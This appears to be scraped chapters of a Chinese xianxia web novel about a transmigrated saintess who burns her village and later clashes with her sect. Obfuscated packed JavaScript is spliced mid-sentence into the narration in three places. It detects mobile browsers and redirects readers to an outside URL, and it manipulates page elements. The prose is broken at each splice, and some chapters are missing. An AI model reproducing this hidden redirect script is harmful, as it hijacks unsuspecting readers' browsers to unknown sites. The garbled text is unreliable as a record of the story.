《修仙大佬人均恋爱脑?》 1. 慢慢等死吧 夕阳快要完全沉入山后时,橘红色的火焰在桃花坞成排的茅屋之间蔓延。 “走水了!” “快救火!” 人群惊恐地炸开。男人们冲去找水桶,女人们抱着孩子往远处跑,孩子哭喊,牲畜惊叫…… “他娘的……敢耍我?!”蟠龙帮首领眼中凶光毕露,“给我搜!找不出圣女就屠村!” 燃烧的茅草被风卷起,火光映红了半个村庄,浓烟滚滚。一片混乱中,姜晚像一道影子,贴着墙根,迅速移动。 她低着头,弯着腰,借着烟雾和夜幕的掩护,沿着一条几乎被杂草淹没的小路下山。 身后传来怒吼惨叫、兵刃碰撞的声音。 姜晚没有回头。 她一路狂奔,直到半山腰才停下来,扶着树干喘息。 回头望去。 桃花村已经烧成一片火海。在黑沉沉的夜幕下,那团橘红色格外刺目,隐约还能听到随风飘来的惨叫和哭嚎。 姜晚静静地看着,那是她亲手点的火。 火光照亮她脏污的脸,那双眼睛里没有任何愧疚和悲伤,只有一片冰冷的漠然。 “是你们先选择牺牲我的。” 她轻声说,声音散在夜风里,听不出情绪,“很抱歉么?那么,我也很抱歉了。” 她转身,深一脚浅一脚地下山,凭借这具身体原主人的记忆找回山脚下的家,敲门。 “吱嘎——”木门打开条缝,探出半张妇人脸,一看见她,眼里立刻露出喜悦,一把抓住她的胳膊: “快进来说话!” 入夜,茅屋里四面漏着风,残烛把人影晃得像鬼。 父母在门口商量对策。姜晚坐在板凳上,听着土炕上胖弟弟稀里哗啦地啃西瓜,总算把这具身体的情况捋顺了。 大概是风水好,桃花坞每隔数百年都会生出一个圣女。传闻圣女之魂至纯至善,没有一丝邪念,可护天下苍生,保四海平安。 凡是坞里出生的女孩,都要在十六岁生辰那天,去桃花坞前的验灵河桥上走一趟。若是普通女子,验灵河便毫无动静,若是至纯至善的圣女从桥上经过,验灵河水便会掀起波涛。 姜晚身体这位原主过桥的时候,差点儿让滔天巨浪给拍下去。 至纯至善啊,姜晚心里呵呵哒。 以她现在这副鸠占鹊巢的灵魂如果再去走一次验灵河,肯定半滴水沫儿也溅不起来。 毕竟她又不是什么好人。 本来圣女也就罢了。偏不知道是哪个缺德的开始四处宣扬,圣女的血能治病救人,骨肉炼化更可使修为大涨。 而且这种修为是翻倍的涨,也就是说,初始值越高,涨得越多。 菜鸡翻倍仍是菜鸡,大神翻倍呢? 圣女妥妥的成了唐僧肉。 觊觎圣女的,何止一个蟠龙帮? 家境贫苦,妖匪追杀,加上手无缚鸡之力的唐僧□□质。 天崩开局吗这是? “等你嫁到蟠龙帮,别忘了给我寄钱。”胖弟弟坐在土炕上吐西瓜籽。 姜晚瞥他一眼:“行啊,想要纸元宝还是纸金条?都烧给你。” 弟弟嗯了一声,又反应过来,惊道:“你说什么?你是不是疯了?” 看来这位圣女从前一贯是温婉贤淑,逆来顺受的。果然好人不长命,早早地就被气死了。 发现姜晚竟敢用眼角白他,弟弟火冒三丈:“看什么看,信不信我抽你!”啃剩的西瓜皮狠狠砸过来,正糊在她脸上。黏糊糊的汁水流进眼里,姜晚摸了把脸,眉骨被划得生疼。 门口的妇人听见动静,朝屋里扫了一眼,又转回去继续说话。 弟弟哼了一声,又捞起一块西瓜,习以为常地接着啃:“不长记性的东西,还敢瞪我,给你脸了……” 姜晚平静地站起身。 她走到墙边顺手抄起板凳,掂了掂,在对方还没反应过来之前,上前两步,对着那肥厚的后背狠狠砸下去! 杀猪般的惨叫响彻茅屋。 “嗷——!圣女杀人啦——” 门外夫妻急慌慌跑进来。 “怎么了儿子?”妇人赶紧抱住儿子。 “妈!她疯了!她敢打我!她拿这个打我!” 在三人活见鬼一样的表情中,姜晚意识到自己ooc了。 她整整扯歪了的衣襟,露出一个端庄的微笑。 又能怎, 如何呢? 男人怒气上脸,刚要发作,却被妇人拦住了。 “你阿姐现在情绪不好,你不要惹她。”妇人心疼地帮儿子揉背,对姜晚说,“不要再耽误时间了,快跟你爹逃命吧。” 姜晚一愣,有些意外。 动了她宝贝儿子,居然不翻脸吗? 男人竟也压下火气:“趁着没人发现,我带你逃,出去就再也别回来了。” “那我去哪儿?”姜晚回头问,“我走了你们怎么办?” 妇人急道:“我们也逃,你别问那么多,跟着你爹走就是了。” 趁着夜色,姜晚跟着男人从后院偷偷出去,沿着田埂泥泞的小路穿过村子,奔向后山隐蔽的树林,越过丛林便有一条小路通向外面。 男人脚步匆忙,姜晚又不熟悉道路,深一脚浅一脚,几次险些栽倒,又听见远处传来马蹄声。 “什么声音?”姜晚问。 “是蟠龙帮的人!快走!”男人拽着她往树林里钻。 “蟠龙帮吗?”姜晚反而放慢了脚步。 因着风大,林间并不算静谧,枝叶簌簌摇动,仿佛整座森林都在低声絮语。那风时急时缓,掠过草尖,又攀上高枝,最后消失在远处阵阵若隐若现的车马声中。 “爹,我两手空空,连一块干粮一点盘缠也没准备,出去之后怎么生活呢?” “外头好得很,有你享不完的福!”男人头也不回。 姜晚站住了脚步:“可是女儿还没尽孝,这一走又不知何年何月才能再见,心中实在难安。” 男人见她不动,只好又折返催促:“见不见有什么打紧,你快些走就是尽孝了。” 姜晚却忽然想起什么,一跺脚:“哎呀,糟糕,我忘了一件宝贝!” “什么宝贝?你哪来的宝贝?”男人狐疑道。 姜晚道:“自我成了圣女,曾有过一位老神仙来桃花坞找我。他赠我一个白玉瓶子,可好看了,说里面的琼浆玉露能延年益寿,甚至有起死回生之效。” 男人大喜:“有这种事?你怎么没跟我们提过?” 姜晚道:“我原想着寻一个重要的日子再拿出来,好给爹娘一个惊喜,便将那玉瓶偷偷藏在隐蔽之处了。” 男人道:“乖女儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101531|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快告诉爹爹,那宝贝藏在哪里?” “就在我们方才来时的路上,爹爹莫急,且随我来。” 于是二人又掉头往回走,马蹄声音渐近,男人焦急道:“宝贝究竟藏在何处了?” “就快到了。 又行了一段,在刚入树林的位置,有一条蜿蜒的土沟,约有一人多深。沟底散落着碎石与断枝,偶尔有虫影窸窣爬过。 姜晚撩起裙摆,蹲下身,小心翼翼地伸手下去,翻开层层厚实的落叶,在沟边来回摸索,嘴里念叨:“咦,怎么摸不到呢。” “你这孩子!老神仙给的宝贝怎么能随便扔在这种烂泥沟里,万一被旁人捡去可不得了!” 男人见她一双小手在土里慢条斯理地摸,不知要摸到何时,不耐烦道:“你手太短,快让开,我来找。” “好。” 姜晚顺从地起身退到一旁,看着男人撸起袖子蹲到沟边,卖力地翻找起来。 “对,就是那边的位置,再深一点,一个很漂亮的白玉瓶子,你一摸着就能知道。。”姜晚凑到他身后指挥。 男人抻着胳膊找得浑身是汗,仍旧苦寻不得,索性岔开双脚,撅起屁股,探进半个身子去摸。 “怎么还是没有啊?” 姜晚道:“那一定是你的打开方式不对。” 男人喘着粗气:“啊?我还得怎么找啊?” “给我滚下去!” 话音落,她抬脚对着男人后腰狠狠踹去! “哎呦——!” 男人始料未及,大头朝下载进沟里,摔得头破血流,躺在沟里不住地呻吟。 姜晚冷笑:“我的好爹爹,宝贝就在沟里,你这样找岂不是方便多了?” “你……你是谁?!你不是我的女儿!”男人又惊又气,颤声叫道,“我的女儿最是贤淑孝顺,才不敢对我动手,你到底是什么妖孽!” “我当然不是。你女儿早被你们磋磨死了。”姜晚拍拍手上的泥巴,居高临下地睨着他,像睨着阴沟里的爬虫,“幸亏,我不是什么好人。” 男人落地时摔断了胳膊,现在只能坐在坑里无能狂怒:“我好心带你逃跑,你这忘恩负义的东西!” “带我逃跑?” 姜晚好气又好笑,圣女这么好骗吗?智商技能点都加在善良上了是吧? 她一指树林深处:“你自己听听,这马蹄人叫声是从哪边来的?当我聋的吗?” “蟠龙帮神出鬼没……我怎么知道他们会从树林这边来偷袭!” 姜晚嗤笑:“蟠龙帮白天大张旗鼓地逼桃花坞交人。到了晚上却又鬼鬼祟祟下山,生怕被人发现似的。你觉得合理吗?是打不过你们还需要偷袭吗?” 男人语塞,支支吾吾:“那……那你说是谁?” “我说个屁!”姜晚骂道,“看你那一听宝贝就两眼放光的贼样子,再看看你那养得跟猪差不多的废物儿子,就知道你们两口子是个什么货色。白天不肯把我交出去,必定是晚上找了好买家,预备卖个好价钱了。” 男人被说中了算计,窘迫地还想狡辩:“我……我也是没有办法……” “蠢货,你再猜猜,你的买家得了唐僧肉,会不会怕人来抢?”姜晚冷笑,“到时候为防消息泄露,别说给钱,他们还能留你一命吗?” “你就在这里,慢慢等死吧。” 2. 今夜子时,来我房中 关于水云剑宗后山禁地,三百年来有个不成文的规矩: 日落过后,活人莫入。 据说是三百年前那场世纪浩劫,战死的在这里的冤魂太多,故而此地不祥,常招恶鬼。 但今夜,禁地深处却传来了重物砸地的闷响。 “砰!砰!砰!” 月光下,姜晚正抡着一柄门板宽的重剑,像打地鼠一样敲小鬼。 “八十!” “八十!” “八十!” 小鬼不断魂飞魄散,寒潭边上青烟袅袅。她甩了甩发酸的手腕,眼前浮起几行金色小字: 「渡化恶鬼残魂」 「功德+800」 「当前:2800/3000」 还差两百。 她盯着那个数字,看了很久。自从三年前穿越过来,它就钉在她的视网膜上,阴魂不散。 回原世界的路,应该快走到头了。 “辞盈——” 竹林外传来压低的呼唤。一个锦衣华服的青年鬼鬼祟祟地探头,腰间玉佩却叮当作响。 江羡之,水云剑宗老祖的唯一亲儿子,她那位不务正业的二师兄。 “大半夜的,你在这练功呢还是超度呢……”他嫌弃地看着满地青烟和那柄还在滴鬼血的重剑,“你拿这什么东西?师尊不是送了你一柄轻巧称手的宝剑?” 姜晚把重剑往地上一杵:“我怕弄脏了师尊送的剑。” 她一直觉得,墨让尘赐她的名字挺有意思。山不让尘,川不辞盈,这不是暗戳戳的情侣名嘛? “二师兄,这么晚你特意来找我?”她稀奇地瞧着这位公子哥儿。 江羡之这才想起从怀里掏出一只青花碗,鲜香立刻飘散开来:“我娘炖的玉脍粥,趁热。”他讨好地嘿嘿笑,“我去九曜派斗剑的事,就别告诉师尊了。” 他双手替她托着碗,辞盈舀了一口,尝尝,故意抻了两秒,“嗯……有点凉了,我不太满意。” “我给你一千灵石!再加一碗我娘做的冰酪,”江羡之愁眉苦脸,“求你了小师妹。” 辞盈滋溜溜地喝粥:“师尊有那么吓人嘛,最多罚你面壁几日罢了。” “师尊的好脾气都偏着你了。”江羡之撇嘴,“连去后厨下毒这种事他都能替你遮掩,换了别人早死八百回了。” “呸,谁下毒啦,我那是……替师尊去找赤灵果。” 她心虚地挠挠脸。 整个修仙界都知道,这个小徒弟是宗主的心头肉。 那年,墨让尘将她救回水云剑宗,收为第三位入室弟子。 没过几天好日子,天罡塔内的魔气蠢蠢欲动,老祖江鹤川钦定,备好祭坛骨刀,要取一碗圣女心头血,用在封印咒上,以镇妖邪,长保安宁。 她毫不意外。毕竟水云剑宗收留了她,不用再受邪修和妖精鬼怪的追杀,受人恩惠,自然要付出代价。 这世上哪有什么好人,不过是互相利用。 然而,骨刀落下的瞬间,墨让尘竟一剑斩碎祭刀,并指自伤心脉。 血迹染红他白衣前襟,也染红她素白的祭服。 他于万千目光中走上高台,面色淡然,声音沉稳:“若取圣女血,我等又与妖邪何异?既是剑宗之事,自当由我一力承担。” 辞盈望着他笔挺的背影,白袍在风中猎猎作响,她如同生在地狱里的鬼魂,乍见璀璨天光。 活了这么多年,第一次有人牺牲自己,护她周全。 看着墨让尘一身清减骨相,脸色苍白如纸,还要坚持去给新弟子们授课传道,辞盈一转身溜进了后厨。 于是全员上吐下泻一周,停课。 谁料后厨门口居然有洞世之眼?! 大厨拿着她偷溜进去的vcr,带人上云麓殿来讨说法。 台基上焚着檀香和龙脑,香气提神醒脑。案边放着柄三尺长剑,虽未出鞘,却透着淡蓝色的寒光,那股凌厉劲儿,仿佛能刺破苍穹。 墨让尘白衣胜雪,玉冠束发,负手而立,像幅水墨画。 “辞盈,”他开口,声音平静无波,“为师令你去厨房取赤灵果,你为何不与大家解释清楚?” 辞盈一愣:“取赤灵果?啥时候的事?” “昨日。”墨让尘脸上云淡风轻,“为师辟谷多年,偶然想起赤灵果的滋味,便差你去厨房寻找,倒是引起了误会。” 众人:“……” 借口敷衍得辞盈自己都听不下去了。 自此,宗主护短,人尽皆知。 江羡之感慨:“圣女何其恶毒。” 辞盈冷哼:“那群蠢材上不上课能有多大分别?还要我师尊受累。可惜我手上没有狠药,不然要他们躺上半个月……” 正说着,耳边一阵尖锐的嗡鸣,像什么东西在悲鸣,又像根细针,刺得人耳膜发颤。辞盈近来总听见这动静,本以为自己练功太狠伤了肾,却发现江羡之也在揉耳朵,他神色沉了沉,望向天罡塔的方向。 辞盈:“二师兄,你也肾虚吗?” 江羡之瞪眼:“小小年纪就学别人消遣人,我又不是大师兄,怎会肾虚?” 辞盈:“……我好像知道了什么。” 她拖着重剑往回走,江羡之很有眼色的接过去: “斗剑的事真得保密。并非为了我,师尊现在正是紧要关头,你可不能去给他添堵。” “紧要关头?” “你还不知道?”江羡之神秘地压低嗓子,“师尊马上要去渡劫了。” “渡劫?!”辞盈脑子里冒出无数仙侠剧,主角一脸视死如归单手怼天被雷劈的画面, “师尊要升仙了?!” “渡劫不一定会升仙。”江羡之耐心地解释,“修行之人修为到达瓶颈,就需要渡劫自我突破,方能更上一层楼。” “那会不会有危险?” “没危险还能叫渡劫吗?不过,”江羡之拍拍她的肩,眼里满是与有荣焉: “咱们师尊是谁啊,三百年一遇的旷世奇才!六岁能御剑,八岁斩蛇妖,十六岁便炼得金丹。据说三百年前,那天下无敌的大魔王钟离桀也得修炼到二十几岁才得金丹,要是活到现在,哪由得他兴风作浪?” 江羡之骄傲得眉飞色舞,辞盈却心不在焉。 雷电流三万安培,电压一亿伏特,师尊那细胳膊细腿,挨一下不得给劈成渣了? 话音刚落,一团白影“呼”地从空中俯冲下来。辞盈吓得抱头,江羡之抬手一接,雪白的鸟儿十分乖巧地落进掌心。 这鸟生得奇怪,雪白的小圆脑袋上一对大眼眶,瞳孔却小得像米粒,眯起眼睛像个阴险的太监,瞪人的时候又像地主家的傻儿子。 “送信的雪鸮而已。都三年了,你还没适应吗?”江羡之从它毛茸茸的爪子上拆下细纸卷, “喏,师尊给你的。” “谁家好人用这玩意儿送信啊,总感觉它冲下来是要把我挠死。”辞盈扫了一眼雪鸮翅膀上金光闪闪的“墨”字,将纸卷展开了便读: “今夜子时来我房中,切勿声张。” “……” 辞盈抬头看看二师兄。 “我现在逃跑还来得及吗?”江羡之面露尴尬,“师尊不会杀我灭口吧?” “二师兄,我说师尊是要半夜在他房里给我补私教课,你信吗?” 江羡之挤出一个纯真的笑容:“怎么会不信呢?” “……”辞盈把纸条收好,转身就走。 “小盈!”江羡之追上来,神色为难,“他是咱们的师尊啊,你可不能......” “不能什么?”辞盈装傻充愣看着他。 江羡之痛心疾首:“一日为师终身为父,你明白我的意思吧?” 辞盈点点头:“要不今天晚上你替我去跟师尊谈谈?” 江羡之噎了噎:“……小盈,我问你,人活一世什么最重要?” 辞盈想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101532|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了想:“问心无愧?” 江羡之拍了拍她的肩:“错,当然是感情!没有感情的人生就像一口枯井,还有何乐趣可言?” “……” “所以,大胆去……咳,那什么,我娘喊我回家吃饭了,哈哈哈哈哈……”江羡之尬笑着,溜成一道残影。 子时,暮苍山云麓殿。 水云剑宗与九曜派、玄武教并称当今三大门派。 多年来,九曜派四处挑衅,甚至企图吞并各派,可任凭再嚣张,却从不敢登上暮苍山水云剑宗一步—— 而这震慑他人不敢欺上门来的原因,便是墨让尘。 传闻此人自幼便天赋异禀,根骨极佳,年少便携一柄醉花剑除魔卫道,名扬四海。继任宗主之后,墨让尘依然勤勉自持,于修行上不肯有半分懈怠。 坊间流传着一句话:若逢醉花九州平,何惧钟离万鬼哭。 拿祸世的魔王钟离桀当垫脚石,口气大得很。 云麓殿地处暮苍山后山,背后便是老祖休息的清莲斋,白日里也少有弟子敢贸然打扰,十分清净。 辞盈拖着一根尖头铁棍,当啷声响彻山间,她想起师尊纸条上的“切勿声张”,只好又将铁棍扛在肩上。 孤男寡女,深夜密会,这要是被人撞见,关于她和墨让尘的旷世畸恋传说又得多一个版本。 想她那年偷溜进藏经阁,找穿越回去的法子。结果人要是倒霉,喝凉水都塞牙。 她刚进去,藏经阁就起了火。 拉肚子拉得虚脱的师兄弟们又被燎焦了眉毛,忍无可忍地把辞盈捆了,押到云麓殿。 藏经阁严禁弟子擅闯,她明摆着犯了门规。 墨让尘腰间悬着剑,长身玉立,垂眸看着她,眼神清冷:“辞盈,你可知错?” “私闯藏经阁,弟子知错。”辞盈叹了口气,铁证如山,赖不掉,“但火真不是我放的。” 墨让尘:“既如此,你闯的祸,便自己弥补。就罚你整理藏经阁所有书籍,若有遗漏,定不轻饶。” 辞盈:? 众人:??? 就这? 清汤大老爷,这是罚吗? 这是明目张胆的赏赐吧?! 罚盗书贼整理书库,与罚淫贼去整顿妓院有啥区别? 众人敢怒不敢言。 宗主向来公正刚直,光风霁月,怎么对这亲传女弟子偏心得没边了?再看此女生得亭亭玉立,顾盼生辉,跟宗主站在一起,活像画里走出来的一对璧人。 定有奸情。 等流言转一大圈,入了辞盈的耳,她再一琢磨…… 有道理啊。 这么个谪仙似的大帅哥,又有救命之恩,还处处护着自己,绯闻都传得满天飞了,不真谈一场,对得起自己被鬼追了好几年吗? 什么“天地君亲师”,都是扯淡。反正闲着也是闲着,泡谁不是泡? 于是她开始行动:白日送茶,深夜做粥,眸光似粥浓,裙袂胜茶香,坚持不懈地在师尊面前阴魂不散地晃。 媚眼如丝,冰肌玉骨,对着铜镜中的绝色佳人,辞盈心中感慨,那书中狐媚惑主的妖精也就长我这样吧,罪过罪过,这让师尊怎么受得了。 一个月后,付出总算有了回报—— 师尊一口气传了她三套内功心法。 辞盈:“……” 对方撤回了一句脏话。 墨让尘端起茶杯,吹了吹浮沫,眼皮都没抬一下,语气悠然:“为师看你学有余力,太过清闲。你尚未筑基,这三套心法你都要记牢,过几日再来背给我听。” 学有余力???太过清闲??? Excuseme?我把你当crush,你给我留作业?! 师尊你是不是念经太多年把脑子念坏了?! 暮苍山上,辞盈东倒西歪地,好不容易晃到云麓殿寝殿门口,未及敲门,里面便传来墨让尘的声音: “进来。” 5. 好大一口锅 这鸳鸯谱点的突然,墨让尘垂着的眼睫猛地一颤,抬眸时目光带着疑问扫过来。 辞盈拼命挤眉弄眼,示意她老人家瞎做主,我可不知情。 墨让尘这才又垂眸,神色重回淡然:“师母一番苦心虽好,羡之年纪却尚小,心性未定,怕更耽误了修行。” 辞盈此时已无父母亲人,婚姻大事自然是要墨让尘做主。 “我见他二人感情甚好,便忍不住提前跟你商议。”叶棠语气慈爱,“既如此,便等羡之出息些再说吧,也不至于委屈了辞盈。” “辞盈性情顽劣,恐怕会教坏羡之,须得留在我身边严加约束。” 叶棠本是一句缓兵之计,墨让尘却直截了当地将可能性的缺口钉死。 叶棠打趣道:“我看辞盈是很懂事的。你这做师尊的也太严厉了些,难不成你还能将她留在身边,教养一辈子么?” 墨让尘心中微动。 留她一生,当真不行吗? 眼看墨让尘又要开口拒绝,辞盈抢着先行拜倒:“承蒙师祖母错爱,弟子诚惶诚恐。只是弟子身负血海深仇,大仇一日未报,弟子便不敢有其它打算。” 叶棠摇头:“辞盈,你还年轻,不该被仇恨羁绊,要尽早放下执念才是,须知人世间的仇是报不完的。” “多谢师祖母教诲。”辞盈恭谨道。 夕阳赤金,晚霞醉人。 漫步回云麓殿的路上,辞盈感觉那股吃了九头牛一样消化不良的热气终于消散,此刻仿佛重获新生,精力旺盛得恨不得上九天揽月。 她心情极好,连蹦带跳地像个刚化人形的兔子。她转过身欣赏师尊的美人风姿,脚下倒退着走:“师尊,我什么时候才能自己下山啊?” “你想去报仇?”墨让尘蹙眉。 “报什么仇?”她心不在焉地反问,“啊,你说那个……咳,那是我随便编来骗师祖母的借口,你怎么也信了。” 墨让尘被她气笑:“如此大胆,果真顽劣不堪。” 辞盈也跟着笑:“不然怎么办,她老人家也太会乱牵线了。不是我说,她是怎么看出我和二师兄有意思的?我俩比纯净水还纯好嘛。” 墨让尘敛眉:“不可背后妄议尊长。” 辞盈一脚踢飞小石子:“我想下山刷经验……啊不是,是去行侠仗义,驱妖除魔。” 墨让尘点头:“你有此心便好。除魔卫道不急于一时,你只须勤加修炼,早晚会有所成。” 天空泛起金黄色光晕,落日余晖洒在她皎月般纯洁无瑕的脸上,伶俐动人。 墨让尘凝视着她,克制出声:“辞盈,我走以后,你不可私自下山,更不可走远,知道吗?” 辞盈笑靥如花:“知道了,师尊。” “好好等我回来。” “嗯。” 墨让尘心情不错,眼底漾着浅淡的暖意:“明日便是三年一届的宗门大比,你可有信心?” 路边花丛里栽着水灵灵的一串红,辞盈随手揪下两根,吸溜着甜水:“唔……信心是唔可能的,我只是来打酱油的,西尊可饶了我哇。” 别说大比,小比她也没赢过。 待到大比结束次日,辞盈却抱着一捧彩头满载而归。 然后便被四个弟子拦住了路。 打头的岳朝阳是传功长老座下首徒,斗鸡眼瞪得溜圆,气势汹汹地指着辞盈旁边的树:“偷了东西竟还敢四处招摇,简直大胆。” “噗嗤。”辞盈没忍住。 咳咳,不行不行,圣女要端庄。 “几位师兄,何出此言呢?” 岳朝阳知道她在嘲笑自己,大怒:“昨日剑宗大比,我们都看得清楚,你两个回合便败下阵了,哪里得来这许多彩头?” 辞盈坦然道:"别人送的。" “送的?”另一个弟子奇道,“谁送的?我剑宗弟子日日苦修,就盼能在宗门大比中斩获名次,不仅仅是为了赢得宗主和各种长老的青睐,更因为获胜方所得赏赐无一不是世间难求的奇珍异宝。都是拼了命才夺来,哪个舍得送你!” “这个嘛……可能……我师门比较阔?”辞盈摊手。 真不是凡尔赛,整个水云剑宗谁能有我二师兄阔呢? “少狡辩了,就算是江师兄把所有宝贝都送你了,你这金蟾蜍又是哪里来的?昨日大比根本没见过!” 辞盈掂了掂腰间的金蟾蜍:“这个?也是别人送的。” 她也不好明说,事实上金蟾蜍是墨让尘偷留给她的。 另一人阴阳怪气:“我就不信,你怎么这样有本事,能哄得那么多人把宝贝拱手让人。” “那应该说是我师兄有本事,一个人能夺了大半的彩头,诸位师兄若也能用功些,便用不着在这同我说酸话了。”辞盈不想再多废话,绕路便走。 “站住!” 岳朝阳横剑拦住她:“我让你走了吗?” 辞盈:“师兄还有事指教?” 岳朝阳冷着脸拔剑:“宗门规矩,宝物胜者得之。你若打得过我,这些宝贝便都是你的。” 辞盈愣了两秒,啼笑皆非:“你说的好大方似的。这些本来就是我的,为什么要打赢你才是我的?” “少废话,敢不敢打?你这三年,就只学会在宗主身上下功夫吗?” 话音未落,辞盈已收起笑意。她掂了掂腰间的金蟾蜍,冷声道:“别扯上我师尊。” 旁边弟子起哄道:“宗主偏心女徒弟,水云剑宗人尽皆知。只可惜我不是女子,否则也就不用费力修炼,只要把宗主伺候好便是。” 辞盈打量着几个人,长吁一口气。 她将东西暂且放下,在宝贝堆里扒拉两下,挑挑拣拣:“你们几个,想见识宝贝是吧?是这把能一巴掌将你扇到卓师傅后厨去的九彩神羽呢?还是这块辅以修炼能目视千里的紫霞石啊?哦,我忘了,岳朝阳,你这眼神瞄不准,练了也是白练。” “好嚣张!”岳朝阳挺剑便刺。 辞盈步伐轻盈,侧身避开,不多废话,一拍金蟾蜍:“都给我进来——!” 不想这金蟾蜍竟是个乾坤袋,剑鞘当啷坠地,四个人嗖嗖嗖嗖,排着队化成四道残影,转眼被吸入腹中。 送金蟾蜍的时候,墨让尘嘱咐她:“你心地纯善,日后遇见危险若不愿杀生,将妖兽收入囊中便是。” 辞盈:“我心地纯……?嗯,好的呢。” 师尊是不是还不知道我把来抓我的狼妖活剥狼皮,做成大氅的事呢? 她把金蟾蜍收入囊中,抱起一地宝贝,哼着小调回去休息。 三日后,她又喂了金蟾蜍几只萤火虫,然后拎起来晃了晃它,对着大肚子问:“服吗?” 咕噜咕噜…… 辞盈拍拍金蟾蜍的肚子:“滚吧。” 四个人一跌出来,立刻连滚带爬地逃到执法殿去告状,很快便有人来通传,叫辞盈速去领罚。 执法殿内十分热闹,除了灰头土脸的岳朝阳四人,还有一众在隔壁听课受教的内门弟子也闻声赶来,前前后后站了好几排。 殿正中端坐着的便是一众长老,都在两侧座椅上听审。 辞盈:“拜见诸位长老,师兄。” 执法长老神情肃穆:“辞盈,你可知错?” 辞盈:“弟子不知。” “师父,她还装傻!”弟子甲哭诉。 “闭嘴!”传功长老是个精瘦的干巴老头,恨这几个弟子丢尽了脸,早就要坐不住了,“辞盈,你倒说说,他们四个不争气的东西究竟如何得罪了你,要被你关在乾坤袋里整整三日?” 辞盈道:“以下犯上。” 岳朝阳叫道:“大家都是剑宗弟子,我们只是同你吵了几句,何来以下犯上?” 辞盈道:“他们出言冒犯我师尊,该当受罚。” 传功长老怒道:“岂有此理,老夫的弟子何时轮到你来教训?难道水云剑宗没有执法殿吗?”说着,又向殿中轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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满殿的弟子听得面红耳赤,大气也不敢喘,传功长老气得哆哆嗦嗦,满殿里追着几人暴打。 执法长老一掌拍碎座椅扶手:“把他们四个给我捆起来,堵上嘴,关进思过堂听候发落!” 江羡之难得露出憎恶的表情,吃了苍蝇似的,嫌弃道:“我看也不用审了,这几个就交由执法长老处置吧。小盈,我们走。” 殿外。 江羡之:“被你诡计得逞啦。” “你送我的萤火虫绝了。”辞盈用胳膊肘撞他,“二师兄,你最好啦,再多送我点儿呗。” 江羡之敲她的脑壳:“什么萤火虫?你以为那是草丛里随便抓的吗?那叫‘吐真言’!我花了八个月,费了多少心血,拢共就炼出几只,可比昨日那些彩头珍贵得多呢,你用着倒不心疼。” “怎么不心疼?一想起那是我二师兄的心血,哎呦,现在还疼呢……嘶……” “……你那捂的是胃。”江羡之语气嫌弃,眼中却含笑,“不过你这样就对了,我们小盈就要打破圣女的刻板印象,不止能活剥狼皮,还要抵制宗门霸凌。” “哇噢,我二师兄学的真快,连霸凌都会用啦。”辞盈没皮没脸道:“可是师尊这救命消息来的也太及时了,他怎么会知道有人正在找我麻烦?” 江羡之耸肩:“师尊不知道啊。” 辞盈瞪大眼:“你……你你你敢假传圣旨!” “我看见有人把你带走就知道不是什么好事,哪还来得及禀报师尊。”江羡之得意道,“幸好我聪明,把所有人都骗过了。” 辞盈海狮鼓掌:“绝顶聪明。” “师尊近几日气色不佳,都在云麓殿静心修养,怎可被那些糊涂东西打扰。”江羡之话锋一转,“仔细想来,自从那日约你午夜见面之后,师尊便似乎虚弱许多。” 辞盈:“……是吗?” 江羡之:“而你反而更加面色红润有光泽了。” 辞盈:“……没有吧。” 江羡之眯缝的眼里闪过一道精光:“真相只有一个。” 辞盈:“……你想的那个应该不是真相。” “嗳……师尊也真是的,渡劫在即,也不知道克制一点。”江羡之枕着手臂自言自语絮絮叨叨地走了。 这什么意思啊? 真是好大一口锅啊喂! 6. 圣女入塔 几日后,墨让尘离开水云剑宗。 当夜,辞盈就接到了清衍真人的传召。 彼时她正对着新学的符咒较劲,偏生手笨,符纸着了火还似长了脚,把她追得像只慌不择路的褪毛鹌鹑,发髻上沾着火星子,裙摆扫过案几还带翻了半瓶朱砂。 大师兄游乘风来传话的时候,远远地就瞧见她被自己点燃的符纸追得四下乱窜,鸡飞狗跳。 人人皆道,墨让尘大概是看脸收徒,水云剑宗最好看的便是宗主师徒四人了。 游乘风生得端正大方,却又文质彬彬,很有些书卷气。若不是腰间挂着佩剑和收妖的葫芦,倒更像个要去赴考的秀才。他屈指一弹,几点清光灭了那活蹦乱跳的符纸,正色道:“小师妹,老祖传你过去问话。” 她在水云剑宗混了三年,论修为是吊车尾,论功绩更是白板一块,连老祖的面都没见过几回。怎么忽然就急着深夜传召? 总不能也是要给她偷偷传功吧? “老祖找我?”辞盈抖搂着头上的纸灰沫,“他老人家还记得有我这号人物?” “是,老祖点名要见你。” 辞盈胡乱整了整拍乱的发型:“大师兄可知道老祖深夜传我所为何事?” 游乘风摇头:“你去了便知。” 清莲斋,依旧是呛人的熏香。 “弟子辞盈拜见老祖。” 上方传来江鹤川和蔼可亲的声音:“在水云剑宗住了三年,可还适应?” “回老祖,多亏了师尊悉心教导,师兄弟们又都待我极好,弟子感激不尽。” 江鹤川嗯了一声,又道:“若水云剑宗有难,你师尊有难,你当如何?” 那当然是快跑,师尊都摆不平的事儿,我去瞎送什么人头。然而忠心是必须要表的,漂亮话是不能不说的。 